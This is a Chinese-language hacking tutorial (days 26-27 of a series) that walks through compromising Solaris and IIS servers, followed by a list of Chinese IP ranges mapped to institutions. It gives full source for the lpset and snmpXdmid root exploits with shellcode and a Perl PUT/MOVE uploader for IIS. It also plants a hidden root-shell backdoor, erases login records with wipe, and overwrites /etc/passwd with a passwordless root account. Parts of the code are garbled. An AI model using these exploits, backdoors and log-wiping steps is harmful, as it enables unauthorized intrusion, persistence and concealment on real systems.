mdevice???897 <Aug 4 17:25> 61.140.253.142
liuy???pts/5 <Aug 2 18:17> 211.101.132.50
oracle ???console 6:57 Mon 14:29 :0
oracle ???pts/24d Mon 14:29 :0.0
oracle ???pts/522 Sat 16:34 61.140.253.142
D:\>
存在finger漏洞。系统的用户显示出来了。(chenhy、mdevice、liuy、orcle)
oracle,通常oracle的密码就是oracle。
马上试一下!
D:\>telnet 127.0.0.17
SunOS 5.7
login: oracle
Password:
Last login: Sat Aug 4 17:25:49 from 61.140.253.142
Sun Microsystems Inc.SunOS 5.7 Generic October 1998
$
成功了!
假如在这一步并没有猜到用户的密码,我们可以利用其他工具继续猜测。
命令:uname -a
查看主机的信息。
$uname -a
SunOS mars 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
SunOS mars 5.7:SunOS的版本。
sparc:服务器版本。
Generic_106541-08:补丁情况。
找到exploit:lpset.c
$cat >lpst.c
/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/
/*## /usr/bin/lpset #*/
#define NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st%g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st%o0,[%o0+16]*/
"\xc0\x22\x20\x14" /* st%g0,[%o0+20]*/
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b;
int i;
printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n");
printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;
b=buffer;
sprintf(b,"***=");
b+=4;
for(i=0;i<2;i++) *b++=0xff;
for(i=0;i<NOPNUM-4;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);
}
/* www.hack.co.za [4 August 2000]*/
^D (“^D” = Ctrl+D ,目的是结束。)
$cd /tmp
lpset.c放在/tmp目录了。
$ls
lpset.c
建立了。
$gcc -o lpset lpset.c
$
编译程序。
小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis -b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。
命令:chmod 777 lpset
设置程序“lpset”的属性为所有组所有用户都能访问。
$chmod 777 lpset
命令:./lpset
执行程序。
$./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc
sh: syntax error at line 1: `(' unexpected
#
命令:id
查看自己的所属的组别。
#id
uid=1035(delex) gid=20(staff) euid=0(root)
“euid=0(root)”取得root权限了。
做个后门:
# mkdir /usr/man/man5/shell
在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)
# cp /bin/ksh /usr/man/man5/shell
# chmod 777 /usr/man/man5/shell
一个简单的后门就做好了。
以后,我们可以用oracle登陆,然后“./usr/man/man5/shell”取得root权限。
用wipe-1.00清除日志。
先把wipe-1.00.tgz上传到主机。
通常ftp的密码与telnet的密码一样。
# gzip -d wipe-1.00.tgz
# tar -xf wipe-1.00.tar
# cd wipe-1.00
# make
Wipe v0.01 !
Usage: 'make ' where System types are:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
#
其中:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
为“选择系统”。
我们这里用“solaris2”。
#make solaris2
gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c
成功了。
#./wipe
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames:wipe u [username]
Erase one username on tty:wipe u [username] [tty]
WTMP editing:
Erase last entry for user :wipe w [username]
Erase last entry on tty:wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user :wipe l [username]
Alter lastlog entry :wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty :wipe a [username] [tty]
说明:
u 选项为 utmp utmpx 日志清除。
w 选项为 wtmp wtmpx 日志清除。
l 选项为 lastlog 日志清除。
a 选项为 pacct 日志清除。
方法:./wipe u oracle;./wipe w oracle;./wipe l oracle
#./wipe u oracle;./wipe w oracle;./wipe l oracle
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
Patching /var/adm/lastlog .... Done.
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 ./wipe u oracle 隐藏自己。
运行:./wipe u oracle 前
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
oracle pts/1 下午 20:00 3 w
运行:./wipe u oracle 后
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。
解决方法:chmod -s /usr/bin/lpset
『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5.8
对方操作系统:Sunos 5.8
程序(一):snmpxdmid.c
本机IP:127.0.0.1
测试IP:127.0.0.29
新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始:
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D
# gcc -o snmpxdmid snmpxdmid.c -lnsl –lsocket
* 编译exploit。
snmp.c: In function `main':
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmpxdmid
* 运行exploit。
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./snmpxdmid address [-p port] -v 7|8
#./snmpxdmid 127.0.0.29 –v 8
* 溢出。
* 说明:
* address:主机IP地址。
* [-p port]:溢出端口。
* -v 7|8:solaris 2.7 (Sunos 5.7)或者solaris 2.8(Sunos 5.8)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
* 溢出成功。
id
uid=0(root) gid=0(root)
* 取得root权限。
echo "cnhack::1:0::/:/bin/bash" > /etc/passwd
* 添加一个用户名为cnhack,密码为空的管理员。
telnet localhost
* telnet主机:127.0.0.29
Trying 127.0.0.1...
Connected to localhost. Escape character is '^]'.
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
……
解决方法:
1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi (此处 代表对应运行级);再执行命令:/etc/init.d/init.dmi stop
2) 保险起见,可改变其用户权限: chmod 000 /usr/lib/dmi/snmpXdmid
『第27天』深入对iis写权限的利用
大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容:
写权限
测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~
这里简单说明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。
Host:是HTTP请求的发送地址
Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致
用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:
#!/usr/bin/perl
use I:Socket;
$ARGC = @ARGV;
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];
@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n"; #sock连接
open(FILE,"$file");
binmode(FILE); #用2进制打开文件
while (read(FILE,$char,1024)) { #读取文件数据上传
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!" ; #成功显示
}
else{
print "upfile faile!!!\n\n";
print @req;#如果失败显示返回错误
}
close $sock;
close FILE;
下面我们测试下:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir kaka.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E
C:\Inetpub\Scripts 的目录
2004-05-05 00:37 14 kaka.txt
1 个文件 14 字节
0 个目录 3,871,080,448 可用字节
这里我们把kaka.txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir perl.exe
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E
C:\Inetpub\Scripts 的目录
2004-05-05 00:42 20,535 perl.exe
1 个文件 20,535 字节
0 个目录 3,871,031,296 可用字节
成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试asp文件:
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/html
Content-Length: 44
<body><h2>HTTP/1.1 403 Forbidden</h2></body>
失败!!提示HTTP/1.1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。
那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY, MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。
我们还是先用nc提交测试下:
D:\>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination: http://127.0.0.1/scripts/kaka.asp
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location: http://127.0.0.1/scripts/x.asp
Content-Type: text/xml
Content-Length: 0
成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。
测试写asp成功:
C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!
Modifyfile Succeed!!!
最终的iiswrite.pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打“草稿”,又lanker测试并最终完成,THX lanker。):
#!/usr/bin/perl
#The iiswrite Script
use I:Socket;
$ARGC = @ARGV;
print "*" x 60;
print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";
print "*" x 60,"\n";
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";
exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];
@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];
print "$file size is $size bytes\n";
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
print "upfile Succeed!!!\n" ;
}
else{
print "upfile faile!!!\n";
}
close $sock;
close FILE;
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
print "Modifyfile Succeed!!!" ;
}
else{
print "upfile faile!!!";
}
close $sock;
全国IP
全国IP,从追捕中找的
010.179.000.000__010.183.255.255__甘肃____
010.184.000.000__010.188.255.255__青海____
010.189.000.000__010.193.255.255__宁夏____
010.194.000.000__010.198.255.255__新疆____
010.000.000.000__010.001.255.255__北京____
010.003.048.000__010.003.050.255__北京邮电大学____
010.011.017.000__010.013.064.255__天津____
010.017.000.000__010.022.255.255__河北____
010.023.000.000__010.028.255.255__山西____
010.029.000.000__010.033.255.255__内蒙古____
010.034.000.000__010.041.255.255__辽宁____
010.042.000.000__010.049.255.255__吉林____
010.048.000.000__010.051.255.255__黑龙江____
010.052.000.000__010.061.255.255__湖北____
010.062.000.000__010.067.255.255__湖南____
010.074.000.000__010.081.255.255__江苏____
010.082.000.000__010.088.255.255__山东____
010.089.000.000__010.094.255.255__安徽____
010.103.000.000__010.109.255.255__浙江____
010.110.000.000__010.116.255.255__福建____
010.117.000.000__010.122.255.255__江西____
010.123.000.000__010.130.255.255__广东____
010.131.000.000__010.136.255.255__海南____
010.137.000.000__010.142.255.255__广西____
010.143.000.000__010.149.255.255__四川____
010.157.000.000__010.161.255.255__贵州____
010.162.000.000__010.166.255.255__云南____
010.172.000.000__010.178.255.255__陕西____
010.167.000.000__010.171.255.255__西藏____
010.068.000.000__010.073.255.255__河南____
010.199.000.000__010.253.255.255__香港____
010.095.000.000__010.102.255.255__上海____
010.002.000.000__010.009.255.255__北京____
010.150.000.000__010.156.255.255__重庆____
010.000.000.000__010.255.255.255__未知地区____
202.113.216.000__202.113.223.255__天津美术学院____
202.113.224.000__202.113.239.255__南开大学____
202.113.242.000__202.113.243.255__天津经济技术开发区国际学校____
202.113.244.000__202.113.245.255__天津市第一中学____
202.113.248.000__202.113.255.255__中国医学科学院____
202.114.000.000__202.114.031.255__华中理工大学____
202.114.032.000__202.114.047.255__华中师范大学____
202.114.045.000__202.114.045.255__华中师范大学第一附属中学____
202.114.048.000__202.114.063.255__武汉汽车工业大学____
202.114.064.000__202.114.079.255__武汉大学____
202.114.080.000__202.114.095.255__武汉工业大学____
202.114.096.000__202.114.111.255__武汉水利水电大学____
202.114.112.000__202.114.127.255__武汉测绘科技大学____
202.114.128.000__202.114.143.255__同济医药大学____
202.114.144.000__202.114.159.255__湖北大学____
202.114.160.000__202.114.175.255__武汉交通科技大学____
202.114.176.000__202.114.191.255__湖北工业大学____
202.114.192.000__202.114.207.255__中国地质大学____
202.114.208.000__202.114.211.255__武汉邮电研究所____
202.114.212.000__202.114.215.255__华中理工大学____
202.114.216.000__202.114.223.255__襄樊大学____
202.114.224.000__202.114.239.255__中南财经大学____
202.114.240.000__202.114.255.255__武汉科技大学____
202.115.000.000__202.115.031.255__电子科技大学____
202.115.032.000__202.115.047.255__四川联合大学____
202.115.048.000__202.115.063.255__成都科技大学____
202.115.064.000__202.115.079.255__西南交通大学____
202.115.080.000__202.115.095.255__成都大学____
202.115.096.000__202.115.111.255__华西医科大学____
202.115.112.000__202.115.127.255__西南财经大学____
202.115.128.000__202.115.143.255__成都理工学院____
202.115.144.000__202.115.159.255__四川工业学院____
202.115.160.000__202.115.175.255__西南工学院____
202.115.176.000__202.115.191.255__四川农业大学____
202.115.192.000__202.115.207.255__四川师范大学____
202.115.208.000__202.115.255.255__四川____
202.116.000.000__202.116.031.255__广州暨南大学____
202.116.032.000__202.116.047.255__华南师范大学____
202.116.048.000__202.116.063.255__广东商学院____
202.116.064.000__202.116.095.255__中山大学____
202.116.096.000__202.116.111.255__孙中山医科大学____
202.116.112.000__202.116.127.255__中山医科大学____
202.116.128.000__202.116.143.255__广东工学院____
202.116.144.000__202.116.159.255__广东机械工程学院____
202.116.160.000__202.116.175.255__华南农业大学____
202.116.176.000__202.116.191.255__华南农业大学____
202.116.192.000__202.116.207.255__广东外语外贸大学____
202.116.208.000__202.116.223.255__广州外贸学院____
202.116.224.000__202.116.239.255__广东____
202.116.240.000__202.116.255.255__海南师范大学____
202.117.000.000__202.117.063.255__西安交通大学____
202.117.064.000__202.117.079.255__西安公路大学____
202.117.080.000__202.117.095.255__西北工业大学____
202.117.096.000__202.117.111.255__西北大学____
202.117.112.000__202.117.127.255__西安电子科技大学____
202.117.128.000__202.117.143.255__西安邮电学院____
202.117.144.000__202.117.159.255__陕西师范大学____
202.117.160.000__202.117.175.255__西安医科大学____
202.117.176.000__202.117.191.255__西北农业大学____
202.117.192.000__202.117.199.255__陕西教育学院____
202.117.200.000__202.117.207.255__陕西财经学院____
202.117.208.000__202.117.223.255__西北师范大学____
202.117.224.000__202.117.227.255__西安电力高等专科学校____
202.117.228.000__202.117.231.255__陕西信息安全技术研究所____
202.117.232.000__202.117.239.255__西北税务学校____
202.118.000.000__202.118.031.255__东北大学____
202.118.032.000__202.118.039.255__沈阳技术研究所____
202.118.040.000__202.118.047.255__中国医药大学____
202.118.048.000__202.118.063.255__辽宁大学____
202.118.064.000__202.118.079.255__大连理工大学____
202.118.080.000__202.118.095.255__大连海事大学____
202.118.112.000__202.118.115.255__辽宁东北育才中学____
202.118.116.000__202.118.119.255__沈阳电力学院____
202.118.120.000__202.118.127.255__抚顺石油学院____
202.118.128.000__202.118.143.255__哈尔滨师范大学____
202.118.144.000__202.118.159.255__黑龙江省科委____
202.118.160.000__202.118.167.255__东北农业大学____
202.118.168.000__202.118.171.255__黑龙江____
202.118.176.000__202.118.191.255__哈尔滨工程大学____
202.118.192.000__202.118.207.255__哈尔滨理工大学____
202.118.208.000__202.118.223.255__东北林业大学____
202.118.224.000__202.118.239.255__哈尔滨工业大学____
202.119.000.000__202.119.031.255__石油大学____
202.119.032.000__202.119.063.255__南京大学____
202.119.064.000__202.119.079.255__南京航空航天大学____
202.119.080.000__202.119.095.255__南京理工大学____
202.119.096.000__202.119.111.255__南京师范大学____
202.119.112.000__202.119.127.255__河海大学____
202.119.128.000__202.119.131.255__江苏____
202.119.132.000__202.119.132.255__常州刘国钧职业教育中心____
202.119.133.000__202.119.133.255__南京晓庄师范学校____
202.119.134.000__202.119.135.255__江苏____
